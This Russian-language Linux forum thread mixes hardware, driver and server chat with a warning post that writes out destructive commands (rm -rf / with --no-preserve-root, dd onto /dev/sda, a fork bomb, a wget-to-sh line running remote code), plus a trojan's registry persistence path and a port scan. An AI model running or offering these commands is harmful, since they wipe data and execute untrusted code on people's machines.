Форум vvm

Главная категория => Linux => Тема начата: drfaust от 13 Декабря 2015, 21:26:46

Название: Занимательная линуксовина
Отправлено: drfaust от 13 Декабря 2015, 21:26:46
Занятный тест производительности от 7-zip (да, я им и под виндой иногда при разгоне пользуюсь, но тут он видать только консольный и бедноват на настройки)
htt p:// integrator .adior. ru/index.php/testing-and-review/82-neskolko-7-zip-testov-proizvoditelnosti-linux-sistem
Мой текущий 7z для линуха, версии 9,38 показывает меньше чем 9,20 по ссылке, а с виндошным 15,06(64бит) бета вообще по стыдному сливает. Отсюда мораль - от версии к версии попугаи меняются.
З.Ы. В ссылке, я так понял, идёт дефолтный проц - такой же как у меня. А я свой до 3.8 со штатных 3.2 разогнал...
Название: Re: Занимательная линуксовина
Отправлено: vvm от 24 Декабря 2015, 21:47:45
А смысл разгона какой ?
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 24 Декабря 2015, 21:59:10
А смысл разгона какой ?
Купить проц за 2500 и сделать из него проц за 6000. А основной интерес - конечно спортивный(размножение "попугаев").

По моей статистике АМДшные гоняться на +20-25%(а это уже переход в следующую ценовую категорию).
Старые интелы брали от +30-50%(+50 я видел у знакомого на водянке с i7-2600k - по тем временам это был наиболее крутой проц, но даже он в разогнаном состоянии не всегда тянул мелкософтовый авиасимулятор - видюха в нём почти не используется, а вот на проце лежить вся обработка самолёта(поведение всех важных узлов)+аэродинамические расчёты)...
Видюхи у меня были тока нвидиа - почти всегда можно было получить +10% по памяти(попугаи/фпсы в игре подымались ровно на столько же) и примерно +15-20% по ГПУ(тут прирост ну максимум +5%, т.к. я видюхи брал в пределах 5-6тыров, а у них в отличие от топовых срезана шина памяти+часто отключены блоки в гпу)
Название: Re: Занимательная линуксовина
Отправлено: vvm от 24 Декабря 2015, 22:02:42
h ttp://m.market.yandex.ru/spec.xml?modelid=4848385 (http://http://m.market.yandex.ru/spec.xml?modelid=4848385)
Это Штрих-мастер старый вроде

Сеть Ethernet: 10/100 Мбит/с, на основе VIA VT6103


Реально сетевуха на этом ? Жалоба - пропадает сеть.
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 24 Декабря 2015, 22:12:43
Если сеть в локалке пропадает - то в первую очередь кабель смотреть. Если там стоит линуха - то ifconfig - он покажет в каком состоянии сетевуха в момент "нет сети".
Так же могут быть проблемы из-за настроек сети - конфликт IP. Если комп получает по dhcp настройки - проверить нет ли в той же сети кого либо со вторым dhcp-сервером(тоже сеть будет работать через раз)

Чип сетевухи - это вряд ли, она либо пашет, либо нет. А вот хабы запросто косячить так могут, но там обычно отваливается весь сегмент сети, подключенный к хабу.
Название: Re: Занимательная линуксовина
Отправлено: vvm от 24 Декабря 2015, 22:15:46
На плате были дутые электролиты, заменили. Сабж не тестили пока. Меня сам этот чипик от VIA интересует, в нем причина или нет.
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 24 Декабря 2015, 22:35:36
Думаю в дутышах. Подобные чипы питаются или от +5В(скорее всего, учитывая древность аппарата) или +3.3В
В какой линии питалова были дутыши?
Название: Re: Занимательная линуксовина
Отправлено: vvm от 24 Декабря 2015, 22:55:07
5
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 24 Декабря 2015, 23:02:19
Хм. Странно. Он от 3.3 питается, оказывается: http://www.yuiop.co.uk/epia/stuff/vt6103.pdf

Правда, в даташите есть схемка, на которой питалово оно получает от LMки, а вот та, скорее всего от 5В запитана. В любом случае надо тестить после замены дутышей.
Название: Re: Занимательная линуксовина
Отправлено: vvm от 24 Декабря 2015, 23:05:44
спс.
Название: Re: Занимательная линуксовина
Отправлено: vvm от 17 Января 2016, 22:38:12
http://habrahabr.ru/post/275075/ (http://habrahabr.ru/post/275075/)
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 18 Января 2016, 16:34:25
http://habrahabr.ru/post/275075/ (http://habrahabr.ru/post/275075/)
А ещё можно на жигулях под 100км/ч в стену дома на прочность испытать :) И да, под вендой ещё проще.

З.Ы. Я, к стати, недолюбливаю sudo именно из-за того, что даже по пьяни можно что-то не то выполнить, думая, что это просто запрос к "бумажнику" с паролями. А вот когда пароль рута начинаешь через su вбивать - даже у пьяного включается рубильник в башке.
Название: Re: Занимательная линуксовина
Отправлено: vvm от 18 Января 2016, 16:37:32
Наоборот. В su вошел и понеслась. А sudo периодически пароль требует )
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 18 Января 2016, 16:40:46
Наоборот. В su вошел и понеслась. А sudo периодически пароль требует )
sudo su и понеслась  :)

А вот и про rm -rf / : то ли он её сочинил, то ли в реале  так было:
Спойлер
Патч Бримана это классика. Вроде как стыдно признаваться в том что попался. Но мне как-то не стыдно.
Я в свое время попался. Под рутом естественно.
И были не гифки а полноценный сервер на котором крутилась мини-атс с биллингом, ну и роутером работала потому что основная нагрузка на сеть была именно на атс.
Попался я потому, что в аську мне ее кинул мой хороший знакомый админ которому я доверял гораздо большие вещи чем сервер.
А он так пошутил потому что был уверен, что я более опытный чем на самом деле, и пойму шутку, а не буду ее выполнять.
В принципе его понять можно, потому что опыт программирования у меня к тому времени был большой, я даже как-то кем-то командовать успевал, сервак в значительной мере сам перед этим поднял, по крайней мере телефонный софт собирал сам, железо для АТС настраивал сам, биллинг писал сам. А вот патч Бримана выполнил).
Но сейчас это хорошее воспоминание.
1 — меня еще в школе научили как обращаться с оружием, и я не могу сделать над собой усилие в тире, пластмассовыми пульками стрелять по мишеням, если в другой стороне, совсем-совсем сбоку, но на линии огня находится человек. Но вот то, что с кодом нужно так-же само, и нельзя надеяться на какие-то умолчания типа как тут «он же умный» — это я понял только в этой истории.
2 — был интересный, чисто теоретический опыт, что после полной очистки файловой системы сервер продолжал работать. Не всё, но основные функции да.
3 — эпичный для меня опыт воскрешения сервера в короткие сроки, когда мы с тем самым админом в четыре руки работали на горячем сервере. Тогда основной функционал восстановили часа за два. Потом упал основной канал интернета. В те годы резервом у нас был… диалап на ISA-шном модеме. Подняли канал на 28.8к. Я поигрался с кодеками. дальше картина: я лежу под столом на физической консоли воскрешаю целостность биллинга. Админ через putty качает какие-то пакеты, что-то обновляет и приводит в рабочее состояние. Качает. Звонок клиента. Коннект, всё ок. Второй звонок. Скорость скачивания упала в ноль. Но что-то качается. Админ даже что-то серфит. Всё это напомню на 28.8кбит. Потом этих клиентов опрашивали — сказали что связь была препоршивая, хотя разговаривать было возможно, но некомфортно, поэтому они поговорили коротко и отложили на потом.

Но это сейчас, когда от фирмы уже не осталось ничего кроме горсти железа на чердаке… Сейчас забавно вспоминать. Тогда обидно было :)
Название: Re: Занимательная линуксовина
Отправлено: vvm от 04 Февраля 2016, 22:07:27
(21:58:28) vvm: у меня линух с утра упал. ФС в режиме рид онли, многочисленные и разнообразные ошибки. места на хардах дохуя, винты исправные, ничего не делал под рутом. угадай причину. починил за 5 минут, загрузившись в линух с внешнего харда
(21:59:12) Master X: фстаб?
(21:59:34) vvm: нет. никаких изменений в ФС не делал
(22:00:24) Master X: я по пьяне в fstab флэшку заебенил, и потом не мог понять откуда глюки и безопасный режим
(22:01:14) vvm: не фстаб, думай, гуру. подсказка - lvm и нераспределенное место в томе lvm
(22:01:41) Master X: я не юзаю ЛВМ -и по этому ХЗ
(22:04:00) vvm: я менял размеры разделов, и использовал все свободное место под разделы. а lvm нужно хотя бы пару гигов нераспределенного пространства в томе lvm, чтобы нормально работать. система проработала пару недель, и потом таки упала с ошибкой доступа в рут. можешь перепостить, это мало кто знает
(22:05:20) vvm: я правда в линуксе не рублю, но всё же
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 04 Февраля 2016, 22:26:31
В линухе нельзя кидаться на новизну. Хочешь скорости и/или стабильности - юзай рэйды с mdadm (именно софтовый, если аппаратный контролёр сдохнет - хрен рэйд обратно без совместимой с предыдущей железякой соберёшь).

У меня софтовое зеркало. Разъёмы сата раздолбаны, было время отваливался один из веников (в рейде только два), и замечал я это только по тормознутости загрузки линуха. Передёргивал веник и mdadm автоматом начинал его синхронизировать.

Для того что бы юзать фишки вроде lvm нужно хорошо знать этот самый lvm. Когда я только начинал пользоваться линухом часто его убивал именно из-за fstab`а. Сейчас-то я знаю что с ним делать и что делать в ридонли-режиме, а тогда было как с виндой - болванку в сидюк и ставить заново.
Название: Re: Занимательная линуксовина
Отправлено: vvm от 04 Февраля 2016, 22:30:41
lvm2 вполне стабильная система. падает только если нет нераспределенного пространства в томе lvm2.
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 04 Февраля 2016, 23:13:19
Меня интересует другой вопрос. Что будет с lvm если один из винтов "стуканул"?

1. Да, менять налету размер это хорошо, но редко используется.
2. Если нужны снэпшоты то riserfs, zfs в руки и хоронить ext4 (блин, даже exfat умеет снэпшоты). Фря, к стати, не отстаёт ufs2 снимки умеет уже давно.
3. Надёжность. Сейчас веники летят только в путь. Потому если важны данные, то зеркало, а ели ещё и от килограмма пластида защитить данные надо - бэкапы на удалённый свой собственный сервак(а не облака в тумане).
Название: Re: Занимательная линуксовина
Отправлено: vvm от 04 Февраля 2016, 23:23:13
Если важны данные - то бекап на внешний носитель (флешку, зип драйв, стриммер, флопик и т.д.).
Доверия к модным облакам нет никакого. Сегодня они есть, завтра их нет.
Название: Re: Занимательная линуксовина
Отправлено: ewgen от 05 Февраля 2016, 15:48:00
Если важны данные - то бекап на внешний носитель (флешку, зип драйв, стриммер, флопик и т.д.).
Доверия к модным облакам нет никакого. Сегодня они есть, завтра их нет.
Вот не соглашусь. К бесплатным- нет доверия, но если ты арендуешь за бабло сервак у серьезной конторы гденить в эстонии или в германии- то они жопой отвечают за сохранность данных :) Если только "ядерный пепел"... ну тогда тебе бекап сайта уж не понадобится :)
Название: Re: Занимательная линуксовина
Отправлено: AJE от 12 Февраля 2016, 20:25:19
Вот еще тема про Линекс... (https://rutube.ru/play/embed/8288411?autoStart=true&ref=window&isFullTab=true&bmstart=7)
Название: Re: Занимательная линуксовина
Отправлено: ewgen от 12 Февраля 2016, 21:05:17
Ну тогда вот сюда же :)
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 13 Февраля 2016, 00:11:09
А ещё в яблокофоне музыка закачивается через одно место.
Название: Re: Занимательная линуксовина
Отправлено: vvm от 29 Марта 2016, 22:22:52
https://www.wps.com/

либра сосёт
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 30 Марта 2016, 07:19:57
https://www.wps.com/

либра сосёт
Дык оно вроде платное. Для персонального юзания триалка на 30 днёв...
Название: Re: Занимательная линуксовина
Отправлено: vvm от 30 Марта 2016, 07:42:51
Платное под виндой
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 30 Марта 2016, 09:33:26
Гм. Надо потыкать. Если с мелкософтовыми форматами будет норм пахать то это будет няшка
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 30 Марта 2016, 18:15:01
Потыкал то, что у меня есть, сравнивая с либрой - видать доки простые слишком - только в wps в "учётном талоне" заметил мыло в шрифтах - в либре они чётче. А так различий нет. Смотрел только вордовские.

И да - полазил по их форуму - для линухи пакет бесплатен полностью - в том числе и для использования в офисе(это ответ одного из разрабов - имя в иероглифах ;D Запрещено модифицировать код, использовать код в составе других продуктов и запрещено продавать линуховый wps). руссификации пока нет - но народ трудится.
Название: Re: Занимательная линуксовина
Отправлено: vvm от 30 Марта 2016, 19:16:35
.
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 30 Марта 2016, 19:34:15
как ставил, как руссифицировал? у мну только 1 енглиш. Сейчас тыкаю в коробке под минт-32бита.

Всё - нашёл. Вопрос снят  :)

А вот и прайсик (http://ftp://ftp2.nix.ru/download/price/Nix3.ZIP), где либра лажанулась - не смогла перейти на другой лист таблицы, wps даже спрашивать ничего не стал - сразу всё сделал.

А вот wps не хочет отрывать дибровский odt. Это странно - формат-то открыт полностью. Либра умеет открывать егоный wps... Короче надо из-под вайна выносить нафиг офис и ставить wps. Либра тоже нужна будет.


По поводу прайсика лажанулся я, а не либра - она переходит на другой лист через Ctrl+ЛКМ
Название: Re: Занимательная линуксовина
Отправлено: Master X от 31 Марта 2016, 20:20:46
https://icq.com/linux/ru     -пробовать сыкотно, наустанавливаются всякие спутники амиго и прочее...  ;D

не заметил темку (http://www.ss-20.ru/index.php?topic=261.msg1918#msg1918), но всё же...
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 31 Марта 2016, 21:24:12
https://icq.com/linux/ru     -пробовать сыкотно, наустанавливаются всякие спутники амиго и прочее...  ;D

не заметил темку (http://www.ss-20.ru/index.php?topic=261.msg1918#msg1918), но всё же...
Аська - это пейджер. Штатные линуховые месенджеры норм поддерживают icq-протокол. Ща попробую на минт в коробке поставить - потыкать...
Название: Re: Занимательная линуксовина
Отправлено: vvm от 05 Апреля 2016, 18:35:36
Как поставить древние дрова NVIDIA ?
Ось Linux Mint 17.3 x86
Дрова в виде файла с расширением .run
http://www.nvidia.ru/object/linux-display-ia32-96.43.23-driver-ru.html
Пробовал через bash под рутом - орет, что прежде надо погасить X сервер.
А как это делать, я хз.
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 05 Апреля 2016, 18:55:19
Как поставить древние дрова NVIDIA ?
Ось Linux Mint 17.3 x86
Дрова в виде файла с расширением .run
http://www.nvidia.ru/object/linux-display-ia32-96.43.23-driver-ru.html
Пробовал через bash под рутом - орет, что прежде надо погасить X сервер.
А как это делать, я хз.
А самая поздняя  nvidia-173 не подходит?

Как вариант переключиться в текст. консоль по Ctr+Alt+F1, и сделать killall mdm (или какой там у тебя десктоп-менеджер). Есть в некоторых DM и более цивильный путь - завершить сеанс, и выбрать консольный ввод. после чего можно попытать счастья и с nvidia*.run Возможно перед этим придётся выпилить nouveau дрова. Иногда они висят как зависимость X и выпилить не получается - на помощь приходит занесение этих дров в blacklist

Посмотрел на mint Mate 17.3 что в виртуалбоксе стоит - mdm не позволяет консольный вход :( Значить только Ctrl+Alt+F1
Название: Re: Занимательная линуксовина
Отправлено: vvm от 05 Апреля 2016, 19:00:20
Видео GeForсe 4. 173 дрова не прокатят. Вопрос в том, что nouveau тоже не цепляются. Система грузится,
на монитор идет видеосигнал, но на экране черный квадрат. Со встроенной в мать видюхой система работает.
Сама мать - нечто древнее с Селероном 2 ГГц и памятью DDR1 (решил на работе собрать из хлама сервак
для этого сайта).
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 05 Апреля 2016, 19:05:02
Видео GeForсe 4. 173 дрова не прокатят. Вопрос в том, что nouveau тоже не цепляются. Система грузится,
на монитор идет видеосигнал, но на экране черный квадрат. Со встроенной в мать видюхой система работает.
Сама мать - нечто древнее с Селероном 2 ГГц и памятью DDR1 (решил на работе собрать из хлама сервак
для этого сайта).
А оно вытянет? на этом же двигле форума всё в php и sql-е

Да, проверил в "коробке". В текстовой консоли от рута делаем killall mdm - нет DM - нет и запущеной им X-сессии. Делаем свои шаловливые Експерименты с  дровами, xorg.conf и т.п. затем можем снова запустить mdm& - если что не так - переключаемся в текст. консоль и снова грохаем mdm.
Название: Re: Занимательная линуксовина
Отправлено: vvm от 05 Апреля 2016, 19:06:36
Посмотрим. Хотя, если у кого есть ненужная мать с 775 сокетом и гигом ОЗУ - в подарок не откажусь. А то сервак заклебал жужжать ночью под ухом.
Название: Re: Занимательная линуксовина
Отправлено: vvm от 06 Апреля 2016, 19:23:22
Искомое железо надыбал. Следующий вопрос - сейчас у меня сервак - это комп, подключенный к роутеру и слушающий
80 порт. Статик IP. Хочу изменить схему - сервак будет через вайфай свисток.
Как чего крутить ?
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 06 Апреля 2016, 20:16:44
А зачем на cel-2МГц? Нет варианта найти ноутбучную плату, желательно с корпусом, пусть и раздолбанным, с норм процем и поддержкой 4Гб DDR-3? БП и акб(вместо бесперебойника) надыбать не сложно. Монитор и клава понадобятся только во время установки ОСи - далее по ssh...

Т.е. сервак на данный момент у тебя витой парой к роутеру, и на нём прокинут 80й порт наружу. При этом сервак имеет статичный ip, а не тот, что выдал ему роутер. Так?

Как выариант, сначала железку подключаешь к роутеру через вайфай, на роутере смотришь его MAC-адрес и настраиваешь на роутере DHCP так, что бы он MAC-адресу выдавал именно тот IP, что был у старого сервака. Не надо будет мудрить с настройками вафли на новом серваке(в линухе для вафли расплодилось много всякой шняги - и у кадлой свой гемор. networkmanager - тяжёлый как слон, netctl - тупой, через него что-то настроить - легче повесится, напрямую через wpa-supplicant - сложно встраивать в монстра systemd и опять же надо читать гугл по настройке(хотя как раз по нему много всего и понятного)).

З.Ы. У нас тут клиент пару коробок комп. железа приволок. Думаем - оставлять себе чего или нет. Среди них есть рабочая платка от игрового автомата - Celerom-M 600MHz, 2*DDR-2, 2*SATA-2, 1*IDE, 6*USB-2.0, 2*VGA  :o и цельных 6 COM-портов(2 на заднице и два специфичных разъёма на матери, каждый по 2 полноценных COM).

Название: Re: Занимательная линуксовина
Отправлено: vvm от 06 Апреля 2016, 20:24:28
Не, роутер светит провайдеру нужным MAC адресом, а вся домашняя сеть - DHCP.
Mint17 - это сервер.
Название: Re: Занимательная линуксовина
Отправлено: vvm от 06 Апреля 2016, 20:28:19
Думаю, достаточно будет просто запустить апач на нужном компе ...
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 06 Апреля 2016, 20:30:44
Не, роутер светит провайдеру нужным MAC адресом, а вся домашняя сеть - DHCP.
Mint17 - это сервер.
Стоп маруся. У тебя все компы за NATом роутера. Где проброс порта?
Название: Re: Занимательная линуксовина
Отправлено: vvm от 06 Апреля 2016, 20:33:32
Точно. Я дебил.
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 06 Апреля 2016, 20:38:46
faust@Athlon-X3-450 ~ $ sudo nmap 109.229.231.33

Starting Nmap 6.40 ( http://nmap.org ) at 2016-04-06 22:30 YEKT
Nmap scan report for 109.229.231.33
Host is up (0.060s latency).
Not shown: 995 closed ports
PORT     STATE    SERVICE
80/tcp   open     http
443/tcp  open     https
514/tcp  filtered shell
5900/tcp open     vnc
9998/tcp open     distinct32

Nmap done: 1 IP address (1 host up) scanned in 149.54 seconds
Нафига столько портов открыто? достаточно 80, 443, и к-нить порт определить для ssh


Название: Re: Занимательная линуксовина
Отправлено: vvm от 06 Апреля 2016, 21:46:08
0. Линух сегодня мучил. Подключил флоповод и заставил форматировать 1.44 дискету под NTFS. Линух тужился, щелкал башкой флопа - но не осилил.

1. Отключил в BIOS IDE контроллеры, винт все равно SATA. Линух в такой конфигурации успешно установился с внешнего харда на винт SATA,но после перезагрузки BIOS упорно пытался стартовать систему с флопа. Включил обратно в BIOS IDE контроллеры - линух загрузился. Мать GIGABYTE GA-P31-ES3G
Это глюк или я дурак - система то установилась без проблем с отключенными IDE контроллерами ...


Название: Re: Занимательная линуксовина
Отправлено: drfaust от 06 Апреля 2016, 22:19:40
0. Линух сегодня мучил. Подключил флоповод и заставил форматировать 1.44 дискету под NTFS. Линух тужился, щелкал башкой флопа - но не осилил.
;D Пад сталом....  ;D https://msdn.microsoft.com/ru-ru/library/cc779002(v=ws.10).aspx
1. Отключил в BIOS IDE контроллеры, винт все равно SATA. Линух в такой конфигурации успешно установился с внешнего харда на винт SATA,но после перезагрузки BIOS упорно пытался стартовать систему с флопа. Включил обратно в BIOS IDE контроллеры - линух загрузился. Мать GIGABYTE GA-P31-ES3G
Это глюк или я дурак - система то установилась без проблем с отключенными IDE контроллерами ...
После изменения конфига веников(в том числе подключение/отключение usb-шных) - BIOS меняет последоваельность загрузки. Если с внешними ещё нормально (по крайней мере у меня на гигабайт на 970м чипсете - точно мать не помню), то стоит отключить/подключить сидюк, веник, или изменить их режим с сата на иде - последовательность запуска меняется. Откуда биос будет искать ОСь - науке неизвестно. Приходится лезть в бивис и пальчиками ставить загрузочный винт.
Название: Re: Занимательная линуксовина
Отправлено: vvm от 06 Апреля 2016, 22:46:23
Ну я же не совсем по пояс деревянный. В BIOS выставлен единственный вариант загрузки - HDD. Но он ломится грузиться с флопа, если отключены контроллеры IDE.
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 07 Апреля 2016, 06:32:12
Ну я же не совсем по пояс деревянный. В BIOS выставлен единственный вариант загрузки - HDD. Но он ломится грузиться с флопа, если отключены контроллеры IDE.
Может не ломится, а просто опрашивает. Подёргал головами и успокоился. У меня стояло авто на флоппиках, а флопиков нет. БИОС долго определяется. Выключил флопповоды в none и загрузка биоса ускорилась...

Так же стоит попробовать прошить его...
Название: Re: Занимательная линуксовина
Отправлено: vvm от 11 Апреля 2016, 19:48:07
Сегодня таймвьвер довел до истерики. Зашел с рабочего компа (Win XP) на домашний (Linux), с него обратно на рабочий. На рабочем компе отрубился показ обоев в винде (это признак, что управление идет через таймвьювер). В итоге я управлял рабочим компом с него же через таймвьювер. Побочный результат - на домашнем линуксе при этом отвалилась мышь, притом только на рабочем столе. Может, в тестеры пойти работать ...
Название: Re: Занимательная линуксовина
Отправлено: vvm от 12 Апреля 2016, 18:20:58
Там временем прогресс в виндовс достиг невиданных высот.
https://lenta.ru/news/2016/04/12/qrbsod/

Компания Microsoft обновила сообщение о критической ошибке в операционной системе Windows 10, которое часто называют «синим экраном смерти». Об этом сообщает The Verge.

Теперь на дисплее отображается QR-код, который помогает специалистам разобраться в причинах сбоя, а простым пользователям — найти решение проблемы в интернете. Нововведение появилось в последней превью-версии Windows 10, которая станет доступна пользователям летом 2016 года под названием Anniversary Update.

В 2012 году на «синем экране смерти» Windows 8 появился грустный смайлик. В более ранних версиях отчет о критической ошибке содержал большое количество технических данных.


>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Ну да, конечно ... Считал я этот QR-код.
Вот что он содержит - http://windows.com/stopcode
По ссыле охуенно полезная инфа )_)_)
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>




 
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 12 Апреля 2016, 18:49:15
Не понял. Теперь мне ещё и джакарту для винды покупать?  ;D
Название: Re: Занимательная линуксовина
Отправлено: vvm от 12 Апреля 2016, 18:52:13
Не понял. Теперь мне ещё и джакарту для винды покупать?  ;D

Каким боком тут столица Индонезии ?
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 12 Апреля 2016, 18:56:48
Не понял. Теперь мне ещё и джакарту для винды покупать?  ;D

Каким боком тут столица Индонезии ?
А каким боком наша отечественная водяра и к-то QR-коды... Это так лирика.

А тем временем наши ребята сумели-таки сертифицировать ядро 4,2 в ФСТЭКе http://www.astralinux.com/products/new/305-new1-5.html Я думал, что "астра" это так, что-то наваяли, сертифицировали, попилили бабло и исчезли, ан-нет, работают по-тиху.
Название: Re: Занимательная линуксовина
Отправлено: vvm от 12 Апреля 2016, 19:07:20
Ладно, раз уж пошла лирика. Я, как всегда впереди планеты всей, и наткулся на то, что все знают.
https://drp.su/ru/index.htm
Шляпа или нет ? У меня ХР после автоматического установления драйверов гордо рапортовала -
Система восстановлена после серьезной ошибки ))
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 12 Апреля 2016, 20:14:36
...
Шляпа или нет ? У меня ХР после автоматического установления драйверов гордо рапортовала -
Система восстановлена после серьезной ошибки ))
Походу шляпа завирусована.
Тут 11Гиг чистых(не, ну ставит свою проги, но они легко отключаются - сами пользуем подобное)
http://rutracker.org/forum/viewtopic.php?t=4682873
Название: Re: Занимательная линуксовина
Отправлено: vvm от 04 Мая 2016, 09:27:17
Как известно, в операционной системе Windows Vista, 7, 8 и 10 есть своеобразная пасхалка - GodMode (режим Бога). если создать на рабочем столе папку с названием GodMode.{ED7BA470-8E54-465E-825C-99712043E01C} (вместо GodMode можно указать любые символы), то внутри будут отображаться все настройки, в том числе и те, которые не включены в меню «Панели управления» или «Параметры»

Специалисты из антивирусной компании McAfee Labs рассказывают о трояне Dynamer, который использует режим Бога, чтобы скрыться от обнаружения в системе.

Dynamer при установке записывает свои файлы в одну из таких папок внутри %AppData%. В реестре создаётся ключ, который сохраняется после перезагрузки, запуская каждый раз бинарник зловреда.

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
lsm = C:\Users\admin\AppData\Roaming\com4.{241D7C96-F8BF-4F85-B01F-E2B043341A4B}\lsm.exe

Таким образом, исполняемый файл нормально запускается по команде из реестра, но вручную зайти в эту папку нельзя: как указано в списке выше, папка {241D7C96-F8BF-4F85-B01F-E2B043341A4B} работает как ярлык на настройки «Подключение к компьютерам и программам на рабочем месте» (RemoteApp and Desktop Connections).

Более того, авторы трояна добавили к названию папки "com4.", так что Windows считает папку аппаратным устройством. Проводник Windows не может удалить папку с таким названием.

Нормальные антивирусы обходят этот трюк вирусописателей. Чтобы удалить папку вручную, нужно запустить из консоли следующую команду.

rd “\\.\%appdata%\com4.{241D7C96-F8BF-4F85-B01F-E2B043341A4B}” /S /Q
Название: Re: Занимательная линуксовина
Отправлено: vvm от 24 Мая 2016, 09:13:43
Что это за команда ?
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 25 Мая 2016, 16:33:58
cool-retro-term
Название: Re: Занимательная линуксовина
Отправлено: vvm от 25 Мая 2016, 18:26:41
В терминале какая команда запущена ? Похожа на top, но не он.
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 25 Мая 2016, 18:44:09
Именно top. Но похоже что фряшный, или напичканный ключами...

Вот фряшный top без ключей.
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 20 Июня 2016, 01:30:21
На выходных вместо "танков" поигрался в ГПСЧ (https://ru.wikipedia.org/wiki/%D0%93%D0%B5%D0%BD%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80_%D0%BF%D1%81%D0%B5%D0%B2%D0%B4%D0%BE%D1%81%D0%BB%D1%83%D1%87%D0%B0%D0%B9%D0%BD%D1%8B%D1%85_%D1%87%D0%B8%D1%81%D0%B5%D0%BB)

Тестирую параллельно 5 вариантов через TestU01_BigCrush (https://en.wikipedia.org/wiki/TestU01) - поставил перед сном. ВСЕ 3 ядра под завязку, и нифига линуха не тормозит !!!

Название: Re: Занимательная линуксовина
Отправлено: vvm от 17 Июля 2016, 13:42:31
Кто POL смог заставить работать со стимом в режиме эмуляции win7 ?
или любом другом, не XP

Под ХР все летает, при версии оси выше XP крашится стимвебхелпер.exe и клиент стима
работает не полностью.

Перерыл англоязычные даже форумы, ответа не нашел.

Зато наконец то допилили вайн до нормального уровня. Клиент стима ставится без плясок с бубном, и все
работает (тока вайн в режиме эмуляции ХР должен быть).
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 17 Июля 2016, 16:20:15
А что с нативным-линуховым стимом не  так?

Название: Re: Занимательная линуксовина
Отправлено: vvm от 18 Июля 2016, 07:58:47
С ним не работает 2/3 моих игрушек - нет версии под линь, не работают половина модов HL2 (т.к. вэлвы не озаботились портировать свои старые SDK).
Даже в нативных игрушках есть проблемы со звуком.
Название: Re: Занимательная линуксовина
Отправлено: vvm от 28 Августа 2016, 20:35:03
mv / /dev/null
Команда переносит содержимое жесткого диска в черную дыру. Эквивалент rm -rf /

rm -rf /
Удаление всего на диске. На самом деле, команда сразу не сработает — сначала задаст пользователю вопрос на английском. Но что делает, скажем, пользователь Linux Mint с вопросами на английском? Жмет «y». Если использовать опцию «--no-preserve-root», то вывод вопроса будет подавлен.

wget http://www.example.com/script.txt -O- | sh
С example.com загрузится и сразу же выполнится код, который вы даже не увидите. Очень опасная команда. На нее ведутся даже некоторые опытные линуксоиды, видя домен, который заслуживает доверия. Но не забывайте, что в некоторых случаях пользователи могут загружать на сайт свои файлы. Безопасное расширение txt тоже не должно обманывать, оно тут не при чем. Содержимое текстового файла будет подано на вход sh.

dd if=/dev/random of=/dev/sda
Уничтожит данные на диске, причем гарантированно без возможности восстановления (при условии, что отработает до конца).

:(){:|:&};:
Вилочная бомба. Опасна только на сервере. Команда порождает копии себя до тех пор, пока не закончится ОЗУ. Затем компьютер виснет, но после перезагрузки полностью работоспособен.

rm -f /usr/bin/sudo ; rm -f /bin/su
Не даст получить права root из терминала. Самая безобидная шутка, но на новичков наводит панику. Опытный линуксоид нажмет Ctrl-Alt-F1, спокойно зайдет под root и восстановит sudo и su.

dd if=/dev/random of=/dev/port Запись мусора в порты ввода-вывода. Вызовет панику ядра и зависание. Некоторые пользователи утверждают, что таким образом можно вызвать аппаратную поломку, однако документальных подтверждений этому нет.

Источник: http://liberatum.ru/e/dangerous-commands-linux
Название: Re: Занимательная линуксовина
Отправлено: drfaust от 28 Августа 2016, 20:43:43
А теперь вопрос - какая из этих команд сработает без прав админа?

Вот именно поэтому я ярый противник sudo и их производных вроде ksu. Хомяк свой уничтожай как хочешь, а систему не трогай.

Да, кстати. Уже дважды спас контору от шифровальщика. Под видом письма идёт скачивание с левого сайта безобидного жабоскрипта, который спокойно выполняется через cmd.exe или powershell. В обоих случаях жабоскрипт скачивал экзешник и запускал его. Есессно, на енти письма пожаловался в мыло.ру и отослал их нашим антивирусникам (вроде только вебу - каспер кажется запросил регистрацию или что-то вроде этого). причём в обоих случаях на virustotal`е и веб и каспер молчали как партизаны, но взгляд на жабоскрипт и ссылка на экзешник явно говорили, что это никакое не доп. соглашение от ТЭКа (http://www.tmesk.ru/)
Название: Re: Занимательная линуксовина
Отправлено: vvm от 31 Августа 2016, 20:33:03
Читаем и проверяем ...
http://pikabu.ru/story/paskhalki_v_linux_1361212
Название: Re: Занимательная линуксовина
Отправлено: vvm от 24 Сентября 2016, 19:38:35
Чо за ботва у меня творится ?

[   17.667312] ata4: soft resetting link
[   17.836259] ata4.00: configured for UDMA/33
[   17.836270] ata4: EH complete
[   18.250576] ata4.00: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x6
[   18.250581] ata4.00: BMDMA stat 0x26
[   18.250585] ata4.00: failed command: READ DMA EXT
